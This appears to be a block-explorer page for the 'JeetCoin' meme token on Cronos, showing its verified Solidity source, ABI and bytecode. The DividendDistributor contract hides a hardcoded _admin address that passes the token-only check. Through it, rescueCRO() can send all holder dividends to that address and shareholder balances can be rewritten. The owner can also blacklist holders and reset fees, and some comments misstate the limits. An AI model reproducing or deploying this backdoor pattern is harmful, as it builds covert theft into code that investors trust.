Token JeetCoin

Overview CRC20

Price
$0.00 @ 0.000000 CRO
Fully Diluted Market Cap
Total Supply:
100,000,000,000 JEET

Holders:
37 addresses
Contract:
0xf2f97916355f448e30dbc9dc933f5ab6fd56f6270xF2f97916355F448e30Dbc9Dc933f5Ab6fd56F627

Decimals:
9

Social Profiles:
Not Available, Update ?

Balance
697,077,927.470343467 JEET

Value
$0.00
0x7dae8fbcc37f67cb1ca02b959fa97c1473bd3a63
Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token ICO / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JeetCoin

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at cronoscan.com on 2022-03-24
*/

//  SPDX-License-Identifier: None
//
//  JeetCoin for the Jeets
//
//  Wen Moon?
//
//  Wen Lambo?
//
//  Hello Ser, I See You Have A Green Chart.
//  It Would Be A Shame If I Got A 2x Then Jeeted
//
//  http://t.me/JeetCoinCRO
// 
//  Sers. Launch Then Bedtime.
//
//  No Jeeting.
//
pragma solidity ^0.8.13;

interface IBEP20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * Allows for contract ownership along with multi-address authorization
 */
abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    /**
     * Function modifier to require caller to be contract owner
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    /**
     * Function modifier to require caller to be authorized
     */
    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    /**
     * Authorize address. Owner only
     */
    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    /**
     * Remove address' authorization. Owner only
     */
    function unauthorize(address adr) public onlyOwner {
        authorizations[adr] = false;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    /**
     * Return address' authorization status
     */
    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    /**
     * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
     */
    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IDividendDistributor {
    function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
    function setShare(address shareholder, uint256 amount) external;
    function deposit() external payable;
    function process(uint256 gas) external;
}

contract DividendDistributor is IDividendDistributor {
    address _token;

    struct Share {
        uint256 amount;
        uint256 totalExcluded;
        uint256 totalRealised;
    }

    address private _admin = 0xe6703B8A945db00E57a34064cB81fA2d6e4aBbd8;


    address[] shareholders;
    mapping (address => uint256) shareholderIndexes;
    mapping (address => uint256) shareholderClaims;

    mapping (address => Share) public shares;

    uint256 public totalShares;
    uint256 public totalDividends;
    uint256 public totalDistributed;
    uint256 public dividendsPerShare;
    uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;

    //SETMEUP, change this to 1 hour instead of 10mins
    uint256 public minPeriod = 45 minutes;
    uint256 public minDistribution = 0.01 ether; 

    uint256 currentIndex;
    uint256 lastBalance; 

    bool initialized;
    modifier initialization() {
        require(!initialized);
        _;
        initialized = true;
    }

    modifier onlyToken() {
        require(msg.sender == _token || msg.sender == _admin ); _;
    }

    constructor () {
        _token = msg.sender;
    }

    receive() external payable {
        if(address(this).balance > lastBalance){
        uint256 amount = address(this).balance - lastBalance;
        totalDividends = totalDividends + amount;
        dividendsPerShare = dividendsPerShare + (dividendsPerShareAccuracyFactor * amount / totalShares);
        lastBalance = address(this).balance;
        }
    }

    function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken {
        minPeriod = _minPeriod;
        minDistribution = _minDistribution;
    }

    function setShare(address shareholder, uint256 amount) external override onlyToken {
        if(shares[shareholder].amount > 0){
            distributeDividend(shareholder);
        }

        if(amount > 0 && shares[shareholder].amount == 0){
            addShareholder(shareholder);
        }else if(amount == 0 && shares[shareholder].amount > 0){
            removeShareholder(shareholder);
        }

        totalShares = totalShares - shares[shareholder].amount + amount;
        shares[shareholder].amount = amount;
        shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
    }

    function deposit() external payable override onlyToken {
        if(address(this).balance > lastBalance){
        uint256 amount = address(this).balance - lastBalance;
        totalDividends = totalDividends + amount;
        dividendsPerShare = dividendsPerShare + dividendsPerShareAccuracyFactor * amount / totalShares;
        lastBalance = address(this).balance;
        }
    }

    function process(uint256 gas) external override onlyToken {
        uint256 shareholderCount = shareholders.length;

        if(shareholderCount == 0) { return; }

        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();

        uint256 iterations = 0;

        while(gasUsed < gas && iterations < shareholderCount) {
            if(currentIndex >= shareholderCount){
                currentIndex = 0;
            }

            if(shouldDistribute(shareholders[currentIndex])){
                distributeDividend(shareholders[currentIndex]);
            }

            gasUsed = gasUsed + gasLeft - gasleft();
            gasLeft = gasleft();
            currentIndex++;
            iterations++;
        }
    }

    function shouldDistribute(address shareholder) internal view returns (bool) {
        return shareholderClaims[shareholder] + minPeriod < block.timestamp
                && getUnpaidEarnings(shareholder) > minDistribution;
    }

    function distributeDividend(address shareholder) internal {
        if(shares[shareholder].amount == 0){ return; }

        uint256 amount = getUnpaidEarnings(shareholder);
        if(amount > 0){
            (bool success,) = payable(shareholder).call{value: amount, gas: 34000}("");
            if(success){
                totalDistributed = totalDistributed + amount;
                shareholderClaims[shareholder] = block.timestamp;
                shares[shareholder].totalRealised = shares[shareholder].totalRealised + amount;
                shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
                lastBalance = address(this).balance;
            }
        }
    }

    function claimDividend() external {
        distributeDividend(msg.sender);
    }

    function getUnpaidEarnings(address shareholder) public view returns (uint256) {
        if(shares[shareholder].amount == 0){ return 0; }

        uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;

        if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }

        return shareholderTotalDividends - (shareholderTotalExcluded);
    }

    function getCumulativeDividends(uint256 share) internal view returns (uint256) {
        return share * (dividendsPerShare) / (dividendsPerShareAccuracyFactor);
    }

    function addShareholder(address shareholder) internal {
        shareholderIndexes[shareholder] = shareholders.length;
        shareholders.push(shareholder);
    }

    function removeShareholder(address shareholder) internal {
        shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
        shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
        shareholders.pop();
    }
    function rescueCRO() external onlyToken returns (bool) {
        (bool tmpSuccess,) = payable(_admin).call{value: address(this).balance, gas: 34000}("");
        return tmpSuccess;
    }
}

contract JeetCoin is IBEP20, Auth {

    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string constant _name = "JeetCoin";
    string constant _symbol = "JEET";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 100 * 10**9 * (10 ** _decimals);
    uint256 public _maxTxAmount = _totalSupply * 2   / 100;

    //max wallet holding of 3%
    uint256 public _maxWalletToken =  _totalSupply * 250  / 1000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isTimelockExempt;
    mapping (address => bool) isDividendExempt;
    mapping (address => bool) public _isBlacklisted;
    
    uint256 liquidityFee    = 5;
    uint256 reflectionFee   = 15;
    uint256 marketingFee    = 0;
    uint256 public totalFee = 20;
    uint256 feeDenominator  = 100;

    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;

    uint256 targetLiquidity = 20;
    uint256 targetLiquidityDenominator = 100;

    IDEXRouter public router;
    address public pair;

    uint256 public launchedAt;
    bool public tradingOpen = true;

    DividendDistributor distributor;
    uint256 distributorGas = 500000;

    // Cooldown & timer functionality
    bool public buyCooldownEnabled = true;
    uint8 public cooldownTimerInterval = 5;
    mapping (address => uint) private cooldownTimer;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 20 / 10000; // 0.01% of supply
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x145677FC4d9b8F19B5D56d1820c48e0443049a30);
        pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        distributor = new DividendDistributor();

        isFeeExempt[msg.sender] = true;
        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[DEAD] = true;

        // No timelock for these people
        isTimelockExempt[msg.sender] = true;
        isTimelockExempt[DEAD] = true;
        isTimelockExempt[address(this)] = true;

        // TO DO, manually whitelist this
        //isFeeExempt[_presaleContract] = true;
        //isTxLimitExempt[_presaleContract] = true;
        //isDividendExempt[_presaleContract] = true;

        isDividendExempt[pair] = true;
        isDividendExempt[address(this)] = true;
        isDividendExempt[DEAD] = true;

        // NICE!
        autoLiquidityReceiver = DEAD;
        marketingFeeReceiver = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            require(_allowances[sender][msg.sender] >= amount, "Insufficient Allowance");
            _allowances[sender][msg.sender] -= amount;
        }

        require(!_isBlacklisted[sender] && !_isBlacklisted[recipient], "Blacklisted address");

        return _transferFrom(sender, recipient, amount);
    }

    //settting the maximum permitted wallet holding (percent of total supply)
     function setMaxWalletPercent(uint256 maxWallPercent) external onlyOwner() {
        _maxWalletToken = _totalSupply * maxWallPercent / 100;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen,"Trading not open yet");
        }

        // max wallet code
        if (!authorizations[sender] && recipient != address(this)  && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver){
            uint256 heldTokens = balanceOf(recipient);
            require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}

        // cooldown timer, so a bot doesnt do quick trades! 1min gap between 2 trades.
        if (sender == pair &&
            buyCooldownEnabled &&
            !isTimelockExempt[recipient]) {
            require(cooldownTimer[recipient] < block.timestamp,"Please wait for cooldown between buys");
            cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
        }

        // Checks max transaction limit
        checkTxLimit(sender, amount);

        // Liquidity, Maintained at 25%
        if(shouldSwapBack()){ swapBack(); }

        //Exchange tokens
        _balances[sender] = _balances[sender] - amount;

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
        _balances[recipient] = _balances[recipient] + (amountReceived);

        // Dividend tracker
        if(!isDividendExempt[sender]) {
            try distributor.setShare(sender, _balances[sender]) {} catch {}
        }

        if(!isDividendExempt[recipient]) {
            try distributor.setShare(recipient, _balances[recipient]) {} catch {}
        }

        try distributor.process(distributorGas) {} catch {}

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + (amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount * (totalFee) / (feeDenominator);

        _balances[address(this)] = _balances[address(this)] + (feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount - feeAmount;
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function openTrading() public onlyOwner {
        tradingOpen = true;
    }

    // enable cooldown between trades
    function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
        buyCooldownEnabled = _status;
        cooldownTimerInterval = _interval;
    }

    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = balanceOf(address(this)) * (dynamicLiquidityFee) / (totalFee) / (2);
        uint256 amountToSwap = balanceOf(address(this)) - (amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();  

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountBNB = address(this).balance - (balanceBefore);

        uint256 totalBNBFee = totalFee - (dynamicLiquidityFee / (2));

        uint256 amountBNBLiquidity = amountBNB * (dynamicLiquidityFee) / (totalBNBFee) / (2);
        uint256 amountBNBReflection = amountBNB * (reflectionFee) / (totalBNBFee);

        try distributor.deposit{value: amountBNBReflection}() {} catch {}

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountBNBLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
        }

        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: address(this).balance, gas: 34000}("");

        // only to supress warning msg
        tmpSuccess = false;
    }

    function setTxLimit(uint256 amount) external authorized {
        _maxTxAmount = amount;
    }

    function setIsDividendExempt(address holder, bool exempt) external authorized {
        require(holder != address(this) && holder != pair);
        isDividendExempt[holder] = exempt;
        if(exempt){
            distributor.setShare(holder, 0);
        }else{
            distributor.setShare(holder, _balances[holder]);
        }
    }

    function setIsFeeExempt(address holder, bool exempt) external authorized {
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external authorized {
        isTxLimitExempt[holder] = exempt;
    }

    function setIsTimelockExempt(address holder, bool exempt) external authorized {
        isTimelockExempt[holder] = exempt;
    }

    function setFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized {
        liquidityFee = _liquidityFee;
        reflectionFee = _reflectionFee;
        marketingFee = _marketingFee;
        totalFee = _liquidityFee + (_reflectionFee) + (_marketingFee);
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator/4);
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external authorized {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized {
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
    }

    //blacklist function to remove bots
    function blacklistAddress(address account, bool value) external onlyOwner{
        //Will blacklist Bots
        _isBlacklisted[account] = value;
    }
    
    function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external authorized {
        distributor.setDistributionCriteria(_minPeriod, _minDistribution);
    }

    function setDistributorSettings(uint256 gas) external authorized {
        require(gas < 1750000);
        distributorGas = gas;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply - (balanceOf(DEAD)) - (balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy * (balanceOf(pair) * (2)) / (getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }

/* Airdrop Begins */

 function airdrop(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {

    uint256 SCCC = 0;

    require(addresses.length == tokens.length,"Mismatch between Address and token count");

    for(uint i=0; i < addresses.length; i++){
        SCCC = SCCC + tokens[i];
    }

    require(balanceOf(from) >= SCCC, "Not enough tokens to airdrop");

    for(uint i=0; i < addresses.length; i++){
        _basicTransfer(from,addresses[i],tokens[i]);
        if(!isDividendExempt[addresses[i]]) {
            try distributor.setShare(addresses[i], _balances[addresses[i]]) {} catch {}
        }
    }

    // Dividend tracker
    if(!isDividendExempt[from]) {
        try distributor.setShare(from, _balances[from]) {} catch {}
    }
}

    event AutoLiquify(uint256 amountBNB, uint256 amountBOG);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountBNB","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"blacklistAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyCooldownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"},{"internalType":"uint8","name":"_interval","type":"uint8"}],"name":"cooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cooldownTimerInterval","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"}],"name":"setDistributionCriteria","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"}],"name":"setDistributorSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_reflectionFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTimelockExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent","type":"uint256"}],"name":"setMaxWalletPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000099919062000c62565b64174876e800620000ab919062000cb3565b60045560646002600454620000c1919062000cb3565b620000cd919062000d43565b6005556103e860fa600454620000e4919062000cb3565b620000f0919062000d43565b6006556005600e55600f8055600060105560146011556064601255601460155560646016556001601a60006101000a81548160ff0219169083151502179055506207a120601b556001601c60006101000a81548160ff0219169083151502179055506005601c60016101000a81548160ff021916908360ff1602179055506001601e60006101000a81548160ff02191690831515021790555061271060146004546200019d919062000cb3565b620001a9919062000d43565b601f55348015620001b957600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505073145677fc4d9b8f19b5d56d1820c48e0443049a30601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000316573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033c919062000de5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003eb919062000de5565b306040518363ffffffff1660e01b81526004016200040b92919062000e28565b6020604051808303816000875af11580156200042b573d6000803e3d6000fd5b505050506040513d601f19601f82